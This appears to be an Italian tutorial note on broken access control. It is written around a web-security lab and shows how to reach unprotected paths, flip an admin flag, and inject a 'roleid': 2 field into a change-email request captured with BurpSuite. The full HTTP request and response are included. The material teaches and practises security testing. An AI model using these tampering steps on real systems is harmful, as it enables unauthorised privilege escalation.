Per broken access control si intende una falla nella logica dell’applicazione che porta un attaccante ad ottenere informazioni o privilegi non previsti.
Directory access
La più banale è l’accesso a pagine che dovrebbero essere protette come potrebbero essere /admin, /robots.txt
Admin (true/false)
Quando nella richiesta per esempio di un login vediamo una voce come admin=false possiamo provare a cambiare da false a true e vedere se ce lo consente, in caso affermativo avremo ottenuto i privilegi dell’admin
RoleID
Il roleID è un po’ più difficile da scovare, ma tramite BurpSuite possiamo intercettare le richieste e vedere le risposte se per esempio in un form per email vediamo nella risposta un qualcosa come:
HTTP/2 302 Found
Location: /my-account
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 117
{
"username": "wiener",
"email": "wiener@panino",
"apikey": "7A8Kjk4nTK8gS8SoB81kvbKTKoWCIPoV",
"roleid": 1
}Possiamo provare a modificare la richiesta aggiungendo "roleid": 2 nella richiesta in modo da darci i privilegi di amministratore, come nel seguente esempio:
POST /my-account/change-email HTTP/2
Host: 0af4000204897beb81cc7fbb00ad00ca.web-security-academy.net
Cookie: session=Ct3MzuDITBPSh5nyhcdsl48RvmsDF6yf
Content-Length: 41
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="141", "Not?A_Brand";v="8"
Content-Type: text/plain;charset=UTF-8
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: */*
Origin: https://0af4000204897beb81cc7fbb00ad00ca.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0af4000204897beb81cc7fbb00ad00ca.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
{"email":"wiener@panino",
"roleid": 2
}In precendenza nella richiesta era presente solo il valore dell’email.